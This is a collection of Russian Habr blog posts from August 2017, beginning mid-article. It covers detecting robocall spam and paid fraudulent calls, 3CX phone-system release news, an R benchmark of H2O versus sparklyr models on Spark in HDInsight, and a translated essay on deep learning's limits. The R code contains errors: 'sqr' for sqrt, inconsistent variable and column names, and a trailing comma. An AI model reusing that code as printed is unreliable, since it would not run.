И все же способ борьбы есть. Если автообзвон совершается с помощью комплекса система автодозвона + оператор call-центра, когда какая-то компания совершает холодные звонки и предлагает свои продукты, то не все наши клиенты приравнивают такую деятельность к спаму. Некоторые даже находят для себя что-то полезное в таких коммерческих предложениях и совершают покупки.


Если же автообзвон производится роботом, то с его последствиями справиться тяжело: вызовы забивают каналы, серьезно отвлекают сотрудников от работы, искажают работу коллтрекинга.


Очистка входящих звонков от спама роботов — это интересная задача, которую нам помогают решить большие данные. Система просто отмечает звонки, которые по ее мнению являются спамом.


Чем характерен робот? Он делает много вызовов одновременно, может перебирать номера при обзвоне, а номера, с которых он звонит, клиенты отправляют в черный список. Он надиктовывает одно и то же сообщение, а если даже оно персонализировано (зависит от того, к кому обращается робот) то одинаковым голосом.


Голос! Вот что среди прочего позволяет практически однозначно выявить робота. Кроме того, он не слушает другую сторону и перебивает ее (вы когда-нибудь слышали разговор спам-робота и IVR? — это очень забавно).


После проверки звонка на спам с ним можно поступать как угодно. Например, создать специальное правило, по которому все вызовы с такой меткой отправлять секретарю, а не менеджерам отдела продаж. Или вовсе отклонять обращения, которые удовлетворяют условиям:


  • номер абонента в списке номеров, генерирующих подозрительно большое количество звонков;
  • номер абонента в списке номеров, генерирующих много одновременных вызовов (чем больше сеть, тем лучше видны такие граждане);
  • номер абонента находится в сети оператора, который генерирует непропорционально большое количество вызовов в нашу сторону;
  • первые несколько (10-15) секунд записи соединения одинаковы (робот зачитывает сообщение);
  • и — вишенка на торте — голос опознается при сравнении с голосами роботов из обновляемой базы данных.

Блокировка по поведению


Фрод — настоящая головная боль клиентов (и наша тоже), которые готовы дорого платить за привлечение целевого звонка. В первую очередь это недвижимость и автодилеры.


Фродером называем человека, который за ~50 рублей готов изобразить целевого клиента. Такие объявления регулярно появляются на площадках, где предлагают «высокий заработок в интернете без вложений».


Проблема в том, что эти «клиенты», отработав положенные вопросы, бесследно растворяются, и компания теряет деньги дважды: на привлечение звонка и на работу менеджера с такой пустышкой.


Тем не менее, есть за что зацепиться и здесь. Фродер характерен тем, что никогда не превращается в сделку. Заказывают работу фродера рекламные площадки или агентства, которые хотят выполнить план или показать, что они лучше других.


Подмешивать в поток честных звонков 2-3% мусора имеет мало экономического смысла. Поэтому… поэтому жулик выдает себя заметно более низкой конверсией в сделки.


У фродера есть свой шаблон поведения: вряд ли он будет «светить» свой личный телефон для совершения проплаченного звонка, скорее воспользуется приобретенной специально для этих целей SIM-картой, которая затем вынимается из телефона до следующей «работы»: чтобы менеджеры компании, продуктом которой он так живо «заинтересовался», вызовами не докучали.


Проверку на частые отключения номера многие фродеры не проходят. Кроме того, с одного номера два раза одной жертве не позвонишь — нужны новые SIM-карты, но голос-то тот же. И это второй момент, который мы проверяем.


Здесь перечислили только основные шаги, в целом же алгоритм верификации гораздо сложнее и учитывает множество поведенческих факторов. Остальные этапы раскрывать не станем, чтобы не облегчать работу фродерам.


В целом это гораздо более сложная задача по сравнению с защитой от спама роботом. Но, к счастью, абсолютная эффективность и не требуется. Достаточно уметь выявлять источники звонков, которые чаще других генерируют подозрительную активность — этой информации вполне хватит нашим клиентам для оптимизации работы.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335036/


Дайджест свежих материалов из мира фронтенда за последнюю неделю №274 (1 — 6 августа 2017)

Понедельник, 07 Августа 2017 г. 10:19 + в цитатник
Предлагаем вашему вниманию подборку с ссылками на новые материалы из области фронтенда и около него.

Веб-разработка
CSS
Javascript
Браузеры
Занимательное

Медиа




Веб Разработка




CSS




JavaScript




Браузеры




Занимательное




Просим прощения за возможные опечатки или неработающие/дублирующиеся ссылки. Если вы заметили проблему — напишите пожалуйста в личку, мы стараемся оперативно их исправлять.



Дайджест за прошлую неделю.
Материал подготовили dersmoll и alekskorovin.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335034/


[recovery mode] Выпуск 3CX 15.5 SP1 Beta и приобретение компании Askozia

Понедельник, 07 Августа 2017 г. 10:02 + в цитатник

На этой неделе произошли два важных события, которыми мы спешим с вами поделиться. Итак, по порядку.


Выпуск бета-версии 3CX v15.5 Update 1 (SP1)


В разгар летних отпусков мы выпустили бета-версию 3CX v15.5 Update 1 (так мы теперь называем сервисные пакеты), в которой добавлено несколько интересных возможностей для пользователей и администраторов.


Возможности для администраторов


Централизованная настройка дополнительных параметров IP телефонов


Для поддерживаемых IP телефонов существенно расширено количество настраиваемых параметров. Администратору теперь не нужно разбираться в документации и создавать собственный шаблон автонастройки того или иного телефона. Все дополнительные параметры указываются централизованно из интерфейса управления 3CX.


Список параметров:


  • выбор мелодии вызова
  • установка MWI режима работы LED индикатора питания телефона – мигание при наличии голосового сообщения, пропущенного вызова и т.п.
  • снижена яркость логотипа 3CX на заставке телефонов Yealink, Fanvil и Htek
  • индивидуальная установка часового пояса для каждого телефона
  • установка формата отображения времени: AM / PM, 12 часовой или 24 часовой
  • установка типа перевода вызова по умолчанию (несопровождаемый или сопровождаемый)
  • включение или отключение подсветки дисплея телефона
  • настройка таймаута включения скринсейвера дисплея, которая устраняет мигание логотипов в некоторых моделях
  • настройка сетевых параметров VLAN IP телефона
  • настройка BLF (DSS) кнопок на режим Line или BLF. Ранее первые две кнопки большинства телефонов могли работать только в режиме Line

Упрощенная настройка и сопровождение


Мы неустанно продолжаем делать 3CX предельно легкой в установке, настройке и и сопровождении:

Возможности для пользователей


Новый веб-клиент 3CX получил ряд полезных улучшений:
  • Теперь пользователь может динамически мониторить и управлять вызовами непосредственно из основного экрана Сотрудники (который ранее назывался Люди)
  • Пользователь может настраивать свои правила переадресации вызовов (и исключения из правил) непосредственно в веб-клиенте
  • Входящие вызовы отображаются как десктопные уведомления Chrome, независимо от того, открыт интерфейс веб-клиента или нет
  • Пользователь может добавлять своих близких коллег в Избранные (просто помечать звездочкой), и они будут отображаться в Избранных во всех клиентах 3CX
  • Функции, которые раньше предназначались только для отелей, теперь доступны всем пользователям:
    • можно устанавливать звонки-напоминания
    • инициализировать (очищать персональные данные) добавочные номера для новых или временных сотрудников
    • менять статус других сотрудников


New web client features along with IP Phone Configuration features for the Admin in SP1 BETA v15.5

Посмотрите небольшой обзор новых возможностей веб-клиента 3CX на английском языке.

Другие возможности


Мы также добавили еще несколько давно запрашиваемых на форуме новых возможностей:

Полный журнал изменений доступен здесь.

Установка обновления


Если вы пользуетесь 3CX v15.5, обновление Update 1 Beta доступно вам как обычное обновление системы, при условии, что вы согласились на тестирование ранних версий продукта. Разумеется, такое тестирование нежелательно делать на рабочей системе. Однако мы очень заинтересованы в полноценной проверке нового обновления, поэтому ждем ваших отзывов!

Также вам необходимо будет обновить настольные клиенты 3CX:

3CX приобретает известную компанию Askozia для расширения на глобальном рынке


logo_askozia_website

Вторая интересная новость – это приобретение компанией 3CX известной немецкой компании Askozia, выпускающей хорошо себя зарекомендовавшую Asterisk–сборку AskoziaPBX. Вместе с приобретением бренда, 3CX получила более чем 10000 небольших компаний-клиентов, использующих AskoziaPBX по всему миру, команду опытных разработчиков и собственные ноу-хау.

Компания Askozia была основана в 2013 г., и выросла из небольшого студенческого проекта в серьезного игрока на рынке программных АТС. Руководство 3CX впечатлили успехи это высокопрофессиональной команды. Теперь появилась возможность не только укрепить позиции 3CX на рынке Германии, но и использовать собственные Linux-наработки Askozia в области телефонии.

Все текущие пользователи и партнеры Askozia продолжат получать необходимую поддержку в период объединения компаний. Пользователям Askozia будут предложены бесплатные лицензии 3CX, а партнёры Askozia станут партнерами 3CX.

Еще одно преимущество покупки Askozia в том, что у 3CX появляется постоянная резиденция в Ганновере, городе, принимающем выставку Cebit и имеющем офисы многих знаменитых технологических компаний. Разумеется, это упрощает коммуникацию с потенциальными клиентами и партнерами.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335032/


R c H2O на Spark в HDInsight

Понедельник, 07 Августа 2017 г. 09:50 + в цитатник

imageH2O – библиотека машинного обучения, предназначенная как для локальных вычислений, так и с использованием кластеров, создаваемых непосредственно средствами H2O или же работая на кластере Spark. Интеграция H2O в кластеры Spark, создаваемые в Azure HDInsight, была добавлена недавно и в этой публикации (являющейся дополнением моей прошлой статьи: R и Spark) рассмотрим построение моделей машинного обучения используя H2O на таком кластере и сравним (время, метрика) его с моделями предоставляемых sparklyr, действительно ли H2O киллер-приложение для Spark?


Обзор возможностей H20 в кластере HDInsight Spark


Как было сказано в предыдущем посте, на тот момент было три способа построения моделей МО используя R на кластере Spark, напомню, это:
1) Пакет sparklyr, который предлагает разные способы чтения из различных источников данных, удобную dplyr-манипуляцию данных и достаточно большой набор различных моделей
2) R Server for Hadoop, ПО от Microsoft, использующее свои функции для манипуляций данных и свои реализации моделей МО
3) Пакет SparkR, который предлагает свою реализацию манипуляций данных и предлагал малое число моделей МО (в настоящее время, в версии Spark 2.2 список моделей значительно расширился)


Подробнее функциональные возможности каждого варианта можно посмотреть в Таблице 1 предыдущего поста.


Теперь появился четвертый способ — использовать H2O в кластерах Spark HDInsight. Рассмотрим вкратце его возможности:


  1. Чтение-запись, манипуляция данными – непосредственно в H2O их нет, необходимо передавать (конвертировать) готовые данные из Spark в H20
  2. Моделей машинного обучения чуть меньше, чем в sparklyr, но все основные имеются, вот их список:
    • Generalized Linear Model
    • Multilayer Perceptron
    • Random Forest
    • Gradient Boosting Machine
    • Naive-Bayes
    • Principal Components Analysis
    • Singular Value Decomposition
    • Generalized Low Rank Model
    • K-Means Clustering
    • Anomaly Detection via Deep Learning Autoencoder
  3. Дополнительно можно использовать ансамбли и стекинг нескольких моделей, используя пакет h2oEnsemble
  4. Удобство моделей H2O в том, что есть возможность сразу оценивать метрики качества, как на тренировочной, так и на валидационной выборке
  5. Настройка гиперпараметров алгоритмов по фиксированной сетке и случайным выбором
  6. Полученные модели можно сохранить в бинарный вид или в чистый Java код "Plain Old Java Object" (POJO)

В целом, алгоритм работы с H2O заключается в следующем:


  1. Чтение данных, используя возможности пакета sparklyr
  2. Манипуляция, трансформация, подготовка данных, используя sparklyr и replyr
  3. Конвертация данных в H2O формат, используя пакет rsparkling
  4. Построение моделей МО и предсказывание данных, используя h2o
  5. Возвращение полученных результатов в Spark и/или локально в R, используя rsparkling и/или sparklyr

Используемые ресурсы


  • Кластер H2O Artificial Intelligence for HDInsight 2.0.2
    Данный кластер представляет собой законченное решение с API для Python и Scala. R (видимо пока) не интегрирован, но его добавление не составляет труда, для этого необходимо следующее:
  • R и пакеты sparklyr, h2o, rsparkling инсталлировать на все узлы: головные и рабочие
  • RStudio инсталлировать на головной узел
  • putty клиент локально, для установления ssh сессии с головным узлом кластера и туннелирования порта RStudio на порт локального хоста для доступа к RStudio через веб-браузер

Важно: устанавливать пакет h2o необходимо из исходников, выбирая версию, соответствующую версии как Spark, так и пакета rsparkling, при необходимости перед загрузкой rsparkling необходимо указывать используемую версию sparklingwater (в данном случае options(rsparkling.sparklingwater.version = '2.0.8'. Таблица с зависимостями по версиям приведена здесь. Устанавливать ПО и пакеты на головные узлы допустимо непосредственно через консоль узла, а вот на рабочие узлы прямого доступа нет, поэтому разворачивание дополнительного ПО необходимо делать через Action Script.

Вначале разворачиваем кластер H2O Artificial Intelligence for HDInsight, конфигурация используется такая же, с 2 головными узлами D12v2 и 4 рабочими узлами D12v2 и 1 узел Sparkling water (служебный). После успешного разворачивания кластера, используя подключение по ssh к головному узлу, устанавливаем туда R, RStudio (текущая версия RStudio уже с интегрированными возможностями по просмотру фреймов Spark и состояния кластера), и необходимые пакеты. Для установки пакетов на рабочие узлы создаем скрипт установки (R и пакетов) и инициируем его через Action Script. Возможно использовать готовые скрипты, располагающиеся здесь: на головные узлы и на рабочие узлы. После всех успешных установок переустанавливаем ssh соединение, используя туннелирование на localhost:8787. Итак, теперь в браузере по адресу localhost:8787 мы подключаемся к RStudio и продолжаем работать.


Достоинство использования R заключается еще и в том, что установив Shiny сервер на эту же головную ноду и, создав простой веб-интерфейс на flexdashboard, возможно все вычисления на кластере, подбор гиперпараметров, визуализацию результатов, подготовку отчетов и прочее, инициировать на созданном web-сайте, который уже будет доступен отовсюду по прямой ссылке в браузере (здесь не рассматривается).

Подготовка и манипуляция данных


Использовать я буду тот же набор данных, что и в прошлый раз, это информация о поездках на такси и их оплате. Скачав данные файлы и поместив их в hdfs, читаем их оттуда и делаем необходимые преобразования (код приведен в прошлом посте).


Модели машинного обучения


Для более-менее сопоставимого сравнения выберем общие модели как в sparklyr, так и в h2o, для задач регрессии таких моделей оказалось три — линейная регрессия, случайный лес и градиентный бустинг. Параметры алгоритмов использовались по умолчанию, в случае их отличий, они приводились к общим (по возможности), проверка точности модели осуществлялась на холдаут выборке в 30%, по метрике RMSE. Результаты приведены в Табл.1 и на Рис.1.


Табл.1. Результаты моделей


Модель RMSE Время, сек
lm_mllib 1,2507 10
lm_h2o 1,2507 5,6
rf_mllib 1,2669 21,9
rf_h2o 1,2531 13,4
gbm_mllib 1,2553 108,3
gbm_h2o 1,2343 24,9

image
Рис.1 Результаты моделей


Как видно из результатов, явно видно преимущество одних и тех же моделей h2o перед их реализацией в sparklyr, как по времени исполнения, так и по метрике. Безусловный лидер из h2o gbm, обладает хорошим временем исполнения и минимальным RMSE. Не исключено, что осуществляя подбор гиперпараметров по кросс-валидациям, картина могла бы быть иной, но в данном случае «из коробки» h2o быстрее и лучше.


Выводы


В данной статье дополнены функциональные возможности машинного обучения, используя R с H2O на кластере Spark, используя платформу HDInsight, и приведен пример преимущества данного способа в отличие от моделей МО пакета sparklyr, но в свою очередь sparklyr обладает существенным преимуществом по удобной предобработке и трансформации данных.


Исходный код
###Подготовительная часть (подготовка данных) приведена в прошлом посте

features<-c("vendor_id",
            "passenger_count",
            "trip_time_in_secs",
            "trip_distance",
            "fare_amount",
            "surcharge")

rmse <- function(formula, data) {
  data %>%
    mutate_(residual = formula) %>%
    summarize(rmse = sqr(mean(residual ^ 2))) %>%
    collect %>%
    .[["rmse"]]
}

trips_train_tbl <- sdf_register(taxi_filtered$training, "trips_train")
trips_test_tbl <- sdf_register(taxi_filtered$test, "trips_test")

actual <- trips.test.tbl %>%
  select(tip_amount) %>%
  collect() %>%
  `[[`("tip_amount")

tbl_cache(sc, "trips_train")
tbl_cache(sc, "trips_test")

trips_train_h2o_tbl <- as_h2o_frame(sc, trips_train_tbl)
trips_test_h2o_tbl <- as_h2o_frame(sc, trips_test_tbl)
trips_train_h2o_tbl$vendor_id <- as.factor(trips_train_h2o_tbl$vendor_id)
trips_test_h2o_tbl$vendor_id <- as.factor(trips_test_h2o_tbl$vendor_id)

#mllib  
lm_mllib <- ml_linear_regression(x=trips_train_tbl, response = "tip_amount", features = features)
pred_lm_mllib <- sdf_predict(lm_mllib, trips_test_tbl)

rf_mllib <- ml_random_forest(x=trips_train_tbl, response = "tip_amount", features = features)
pred_rf_mllib <- sdf_predict(rf_mllib, trips_test_tbl)

gbm_mllib <-ml_gradient_boosted_trees(x=trips_train_tbl, response = "tip_amount", features = features)
pred_gbm_mllib <- sdf_predict(gbm_mllib, trips_test_tbl)

#h2o
lm_h2o <- h2o.glm(x =features, y = "tip_amount", trips_train_h2o_tbl) 
pred_lm_h2o <- h2o.predict(lm_h2o, trips_test_h2o_tbl)

rf_h2o <- h2o.randomForest(x =features, y = "tip_amount", trips_train_h2o_tbl,ntrees=20,max_depth=5)
pred_rf_h2o <- h2o.predict(rf_h2o, trips_test_h2o_tbl)

gbm_h2o <- h2o.gbm(x =features, y = "tip_amount", trips_train_h2o_tbl)
pred_gbm_h2o <- h2o.predict(gbm_h2o, trips_test_h2o_tbl)

####
pred.h2o <- data.frame(
  tip.amount = actual,
  as.data.frame(pred_lm_h2o),
  as.data.frame(pred_rf_h2o),
  as.data.frame(pred_gbm_h2o),
)
colnames(pred.h2o)<-c("tip.amount", "lm", "rf", "gbm")

result <- data.frame(

  RMSE = c(
    lm.mllib = rmse(~ tip_amount - prediction, pred_lm_mllib),
    lm.h2o = rmse(~ tip.amount - lm, pred.h2o ),
    rf.mllib = rmse(~ tip.amount - prediction, pred_rf_mllib),
    rf.h2o = rmse(~ tip_amount - rf, pred.h2o),
    gbm.mllib = rmse(~ tip_amount - prediction, pred_gbm_mllib),
    gbm.h2o = rmse(~ tip.amount - gbm, pred.h2o)

  )
)
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334898/


Метки:  

[Перевод] Ограничения глубинного обучения и будущее

Понедельник, 07 Августа 2017 г. 08:48 + в цитатник
Эта статья представляет собой адаптацию разделов 2 и 3 из главы 9 моей книги «Глубинное обучение с Python» (Manning Publications).

Статья рассчитана на людей, у которых уже есть значительный опыт работы с глубинным обучением (например, тех, кто уже прочитал главы 1-8 этой книги). Предполагается наличие большого количества знаний.



Ограничения глубинного обучения


Глубинное обучение: геометрический вид


Самая удивительная вещь в глубинном обучении — то, насколько оно простое. Десять лет назад никто не мог представить, каких потрясающих результатов мы достигнем в проблемах машинного восприятия, используя простые параметрические модели, обученные с градиентным спуском. Теперь выходит, что нужны всего лишь достаточно большие параметрические модели, обученные на достаточно большом количестве образцов. Как сказал однажды Фейнман о Вселенной: «Она не сложная, её просто много».

В глубинном обучении всё является вектором, то есть точкой в геометрическом пространстве. Входные данные модели (это может быть текст, изображения и т. д.) и её цели сначала «векторизируются», то есть переводятся в некое первоначальное векторное пространство на входе и целевое векторное пространство на выходе. Каждый слой в модели глубинного обучения выполняет одно простое геометрическое преобразование данных, которые идут через него. Вместе, цепочка слоёв модели создаёт одно очень сложное геометрическое преобразование, разбитое на ряд простых. Эта сложная трансформация пытается преобразовать пространство входных данных в целевое пространство, для каждой точки. Параметры трансформации определяются весами слоёв, которые постоянно обновляются на основании того, насколько хорошо модель работает в данный момент. Ключевая характеристика геометрической трансформации — то, что она должна быть дифференцируема, то есть мы должны иметь возможность узнать её параметры через градиентный спуск. Интуитивно, это означает, что геометрический морфинг должен быть плавным и непрерывным — важное ограничение.

Весь процесс применения этой сложной геометрической трансформации на входных данных можно визуализировать в 3D, изобразив человека, который пытается развернуть бумажный мячик: смятый бумажный комочек — это многообразие входных данных, с которыми модель начинает работу. Каждое движение человека с бумажным мячиком похоже на простую геометрическую трансформацию, которую выполняет один слой. Полная последовательность жестов по разворачиванию — это сложная трансформация всей модели. Модели глубинного обучения — это математические машины по разворачиванию запутанного многообразия многомерных данных.

Вот в чём магия глубинного обучения: превратить значение в векторы, в геометрические пространства, а затем постепенно обучаться сложным геометрическим преобразованиям, которые преобразуют одно пространство в другое. Всё что нужно — это пространства достаточно большой размерности, чтобы передать весь спектр отношений, найденных в исходных данных.

Ограничения глубинного обучения


Набор задач, которые можно решить с помощью этой простой стратегии, практически бесконечен. И все же до сих пор многие из них вне досягаемости нынешних техник глубинного обучения — даже несмотря на наличие огромного количества вручную аннотированных данных. Скажем, для примера, что вы можете собрать набор данных из сотен тысяч — даже миллионов — описаний на английском языке функций программного обеспечения, написанных менеджерами продуктов, а также соответствующего исходного года, разработанного группами инженеров для соответствия этим требованиям. Даже с этими данными вы не можете обучить модель глубинного обучения просто прочитать описание продукта и сгенерировать соответствующую кодовую базу. Это просто один из многих примеров. В целом, всё что требует аргументации, рассуждений — как программирование или применение научного метода, долговременное планирование, манипуляции с данными в алгоритмическом стиле — находится за пределами возможностей моделей глубинного обучения, неважно сколько данных вы бросите в них. Даже обучение нейронной сети алгоритму сортировки — невероятно сложная задача.

Причина в том, что модель глубинного обучения — это «лишь» цепочка простых, непрерывных геометрических преобразований, которые преобразуют одно векторное пространство в другое. Всё, что она может, это преобразовать одно множество данных X в другое множество Y, при условии наличия возможной непрерывной трансформации из X в Y, которой можно обучиться, и доступности плотного набора образцов преобразования X:Y как данных для обучения. Так что хотя модель глубинного обучения можно считать разновидностью программы, но большинство программ нельзя выразить как модели глубинного обучения — для большинства задач либо не существует глубинной нейросети практически подходящего размера, которая решает задачу, либо если существует, она может быть необучаема, то есть соответствующее геометрическое преобразование может оказаться слишком сложным, или нет подходящих данных для её обучения.

Масштабирование существующих техник глубинного обучения — добавление большего количества слоёв и использование большего объёма данных для обучения — способно лишь поверхностно смягчить некоторые из этих проблем. Оно не решит более фундаментальную проблему, что модели глубинного обучения очень ограничены в том, что они могут представлять, и что большинство программ нельзя выразить в виде непрерывного геометрического морфинга многообразия данных.

Риск антропоморфизации моделей машинного обучения


Один из очень реальных рисков современного ИИ — неверная интерпретация работы моделей глубинного обучения и преувеличение их возможностей. Фундаментальная особенность человеческого разума — «модель психики человека», наша склонность проецировать цели, убеждения и знания на окружающие вещи. Рисунок улыбающейся рожицы на камне вдруг делает нас «счастливыми» — мысленно. В приложении к глубинному обучению это означает, например, что если мы можем более-менее успешно обучить модель генерировать текстовые описания картинок, то мы склонны думать, что модель «понимает» содержание изображений, также как и генерируемые описания. Нас затем сильно удивляет, когда из-за небольшого отклонения от набора изображений, представленных в данных для обучения, модель начинает генерировать абсолютно абсурдные описания.



В частности, наиболее ярко это проявляется в «состязательных примерах», то есть образцах входных данных сети глубинного обучения, специально подобранных, чтобы их неправильно классифицировали. Вы уже знаете, что можно сделать градиентное восхождение в пространстве входных данных для генерации образцов, которые максимизируют активацию, например, определённого фильтра свёрточной нейросети — это основа техники визуализации, которую мы рассматривали в главе 5 (примечание: книги «Глубинное обучение с Python»), также как алгоритма Deep Dream из главы 8. Похожим способом, через градиентное восхождение, можно слегка изменить изображение, чтобы максимизировать предсказание класса для заданного класса. Если взять фотографию панды и добавить градиент «гиббон», мы можем заставить нейросеть классифицировать эту панду как гиббона. Это свидетельствует как о хрупкости этих моделей, так и о глубоком различии между трансформацией со входа на выход, которой она руководствуется, и нашим собственным человеческим восприятием.



В общем, у моделей глубинного обучения нет понимания входных данных, по крайней мере, не в человеческом смысле. Наше собственное понимание изображений, звуков, языка, основано на нашем сенсомоторном опыте как людей — как материальных земных существ. У моделей машинного обучения нет доступа к такому опыту и поэтому они не могут «понять» наши входные данные каким-либо человекоподобным способом. Аннотируя для наших моделей большое количество примеров для обучения, мы заставляем их выучить геометрическое преобразование, которое приводит данные к человеческим концепциям для этого специфического набора примеров, но это преобразование является лишь упрощённым наброском оригинальной модели нашего разума, таким, какое разработано исходя из нашего опыта как телесных агентов — это как слабое отражение в зеркале.



Как практикующий специалист по машинному обучению, всегда помните об этом, и никогда не попадайте в ловушку веры в то, что нейросети понимают задачу, которую выполняют — они не понимают, по крайней мере не таким образом, какой имеет смысл для нас. Они были обучены другой, гораздо более узкой задаче, чем та, которой мы хотим их обучить: простому преобразованию входных образцов обучения в целевые образцы обучения, точка к точке. Покажите им что-нибудь, что отличается от данных обучения, и они сломаются самым абсурдным способом.

Локальное обобщение против предельного обобщения


Кажется, существуют фундаментальные отличия между прямым геометрическим морфингом со входа на выход, который делают модели глубинного обучения, и тем способом, как люди думают и обучаются. Дело не только в том, что люди обучаются сами от своего телесного опыта, а не через обработку набора учебных образцов. Кроме разницы в процессах обучения, есть фундаментальные отличия в природе лежащих в основе представлений.

Люди способны на гораздо большее, чем преобразование немедленного стимула в немедленный отклик, как нейросеть или, может быть, насекомое. Люди удерживают в сознании сложные, абстрактные модели текущей ситуации, самих себя, других людей, и могут использовать эти модели для предсказания различных возможных вариантов будущего, и выполнять долговременное планирование. Они способны на объединение в единое целое известных концепций, чтобы представить то, что они никогда не знали раньше — как рисование лошади в джинсах, например, или изображение того, что бы они сделали, если бы выиграли в лотерею. Способность мыслить гипотетически, расширять свою модель ментального пространства далеко за пределы того, что мы напрямую испытывали, то есть, способность делать абстракции и рассуждения, пожалуй, определяющая характеристика человеческого познания. Я называю это «предельным обобщением»: способность приспосабливаться к новым, никогда не испытанным ранее ситуациям, используя очень мало данных либо вовсе не используя никаких данных.

Это резко отличается от того, что делают сети глубинного обучения, что я бы назвал «локальным обобщением»: преобразование входных данных в выходные данные быстро прекращает иметь смысл, если новые входные данные хотя бы немного отличаются от того, с чем они встречались во время обучения. Рассмотрим, для примера, проблему обучения подходящим параметрам запуска ракеты, которая должна сесть на Луну. Если бы вы использовали нейросеть для этой задачи, обучая её с учителем или с подкреплением, вам бы понадобилось дать ей тысячи или миллионы траекторий полёта, то есть нужно выдать плотный набор примеров в пространстве входящих значений, чтобы обучиться надёжному преобразованию из пространства входящих значений в пространство исходящих значений. В отличие от них, люди могут использовать силу абстракции для создания физических моделей — ракетостроение — и вывести точное решение, которое доставит ракету на Луну всего за несколько попыток. Таким же образом, если вы разработали нейросеть для управления человеческим телом и хотите, чтобы она научилась безопасно проходить по городу, не будучи сбитой автомобилем, сеть должна умереть много тысяч раз в различных ситуациях, прежде чем сделает вывод, что автомобили опасны, и не выработает соответствующее поведение, чтобы их избегать. Если её перенести в новый город, то сети придётся заново учиться большей часть того, что она знала. С другой стороны, люди способны выучить безопасное поведение, не умерев ни разу — снова, благодаря силе абстрактного моделирования гипотетических ситуаций.



Итак, несмотря на наш прогресс в машинном восприятии, мы всё ещё очень далеки от ИИ человеческого уровня: наши модели могут выполнять только локальное обобщение, адаптируясь к новым ситуациям, которые должны быть очень близки к прошлым данным, в то время как человеческий разум способен на предельное обобщение, быстро приспосабливаясь к абсолютно новым ситуациям или планируя далеко в будущее.

Выводы


Вот что вы должны помнить: единственным реальным успехом глубинного обучения к настоящему моменту является способность транслировать пространство X в пространство Y, используя непрерывное геометрическое преобразование, при наличии большого количества данных, аннотированных человеком. Хорошее выполнение этой задачи представляет собой революционно важное достижение для целой индустрии, но до ИИ человеческого уровня по-прежнему очень далеко.

Чтобы снять некоторые из этих ограничений и начать конкурировать с человеческим мозгом, нам нужно отойти от прямого преобразования со входа в выход и перейти к рассуждениям и абстракциям. Возможно, подходящей основой для абстрактного моделирования различных ситуация и концепций могут быть компьютерные программы. Мы говорили раньше (примечание: в книге «Глубинное обучение с Python»), что модели машинного обучения можно определить как «обучаемые программы»; в данный момент мы можем обучать только узкое и специфическое подмножество всех возможных программ. Но что если бы мы могли обучать каждую программу, модульно и многократно? Посмотрим, как мы можем к этому придти.

Будущее глубинного обучения


Учитывая то, что мы знаем о работе сетей глубинного обучения, их ограничениях и нынешнем состоянии научных исследований, можем ли мы прогнозировать, что произойдёт в среднесрочной перспективе? Здесь несколько моих личных мыслей по этому поводу. Имейте в виду, что у меня нет хрустального шара для предсказаний, так что многое из того, что я ожидаю, может не воплотиться в реальность. Это абсолютные спекуляции. Я разделяю эти прогнозы не потому что ожидаю, что они полностью воплотятся в будущем, а потому что они интересны и применимы в настоящем.

На высоком уровне вот основные направления, которые я считаю перспективными:

  • Модели приблизятся к компьютерным программам общего предназначения, построенных поверх гораздо более богатых примитивов, чем наши нынешние дифференцируемые слои — так мы получим рассуждения и абстракции, отсутствие которых является фундаментальной слабостью нынешних моделей.
  • Появятся новые формы обучения, которые сделают это возможным — и позволят моделям отойти просто от дифференцируемых преобразований.
  • Модели будут требовать меньшего участия разработчика — не должно быть вашей работой постоянно подкручивать ручки.
  • Появится большее, систематическое повторное использование выученных признаков и архитектур; мета-обучаемые системы на основе повторно используемых и модульных подпрограмм.

Вдобавок, обратите внимание, что эти рассуждения не относятся конкретно к обучению с учителем, которое до сих пор остаётся основой машинного обучения — также они применимы к любой форме машинного обучения, включая обучение без учителя, обучение под собственным наблюдением и обучение с подкреплением. Фундаментально неважно, откуда пришли ваши метки или как выглядит ваш цикл обучения; эти разные ветви машинного обучения — просто разные грани одной конструкции.

Итак, вперёд.

Модели как программы


Как мы заметили раньше, необходимым трансформационным развитием, которое можно ожидать в области машинного обучения, является уход от моделей, выполняющих чисто распознавание шаблонов и способных только на локальное обобщение, к моделям, способным на абстракции и рассуждения, которые могут достичь предельного обобщения. Все нынешние программы ИИ с базовым уровнем рассуждений жёстко запрограммированы людьми-программистами: например, программы, которые полагаются на поисковые алгоритмы, манипуляции с графом, формальную логику. Так, в программе DeepMind AlphaGo б'oльшая часть «интеллекта» на экране спроектирована и жёстко запрограммирована экспертами-программистами (например, поиск в дереве по методу Монте-Карло); обучение на новых данных происходит только в специализированных подмодулях — сети создания ценностей (value networks) и сети по вопросам политики (policy networks). Но в будущем такие системы ИИ могут быть полностью обучены без человеческого участия.

Как этого достичь? Возьмём хорошо известный тип сети: RNN. Что важно, у RNN немного меньше ограничений, чем у нейросетей прямого распространения. Это потому что RNN представляют собой немного больше, чем простые геометрические преобразования: это геометрические преобразования, которые осуществляются непрерывно в цикле for. Временной цикл for задаётся разработчиком: это встроенное допущение сети. Естественно, сети RNN всё ещё ограничены в том, что они могут представлять, в основном, потому что каждый их шаг по-прежнему является дифференцируемым геометрическим преобразованием и из-за способа, которым они передают информацию шаг за шагом через точки в непрерывном геометрическом пространстве (векторы состояния). Теперь представьте нейросети, которые бы «наращивались» примитивами программирования таким же способом, как циклы for — но не просто одним-единственным жёстко закодированным циклом for с прошитой геометрической памятью, а большим набором примитивов программирования, с которыми модель могла бы свободно обращаться для расширения своих возможностей обработки, таких как ветви if, операторы while, создание переменных, дисковое хранилище для долговременной памяти, операторы сортировки, продвинутые структуры данных вроде списков, графов, хеш-таблиц и многого другого. Пространство программ, которые такая сеть может представлять, будет гораздо шире, чем могут выразить существующие сети глубинного обучения, и некоторые из этих программ могут достичь превосходной силы обобщения.

Одним словом, мы уйдём от того, что у нас с одной стороны есть «жёстко закодированный алгоритмический интеллект» (написанное вручную ПО), а с другой стороны — «обученный геометрический интеллект» (глубинное обучение). Вместо этого мы получим смесь формальных алгоритмических модулей, которые обеспечивают возможности рассуждений и абстракции, и геометрические модули, которые обеспечивают возможности неформальной интуиции и распознавания шаблонов. Вся система целиком будет обучена с небольшим человеческим участием либо без него.

